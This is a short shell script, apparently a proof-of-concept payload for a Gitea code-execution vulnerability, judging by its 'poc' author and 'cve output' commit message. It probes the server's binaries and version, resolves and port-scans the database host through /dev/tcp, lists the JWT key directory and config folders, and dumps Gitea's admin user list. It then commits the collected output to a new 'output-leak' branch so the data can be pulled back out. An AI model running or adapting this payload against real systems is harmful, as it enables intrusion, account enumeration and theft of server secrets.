#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$( { echo "---BIN---" for p in /usr/local/bin/gitea /app/gitea/gitea /usr/bin/gitea /usr/local/bin/docker-entrypoint; do ls -la $p 2>/dev/null; done command -v gitea || echo no-gitea-in-path echo "---VER---" /usr/local/bin/gitea --version 2>&1 | head -3 || /app/gitea/gitea --version 2>&1 | head -3 echo "---RESOLV---" getent hosts gitea-db || echo no-gitea-db-host cat /etc/resolv.conf echo "---DBPORT---" GITEA_DB_IP=$(getent hosts gitea-db | awk '{print $1}') echo "ip=$GITEA_DB_IP" [ -n "$GITEA_DB_IP" ] && (timeout 2 bash -c "echo > /dev/tcp/$GITEA_DB_IP/5432" 2>/dev/null && echo db5432-open || echo db5432-closed) echo "---JWT---" ls -la /data/gitea/jwt 2>/dev/null echo "---ADMINLIST---" /usr/local/bin/gitea admin user list --config /data/gitea/conf/app.ini 2>&1 | head -25 echo "---CUSTOM---" ls -la /data/gitea/custom /data/gitea/custom/conf 2>/dev/null | head -30 echo DONE } 2>&1; echo "[rc=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"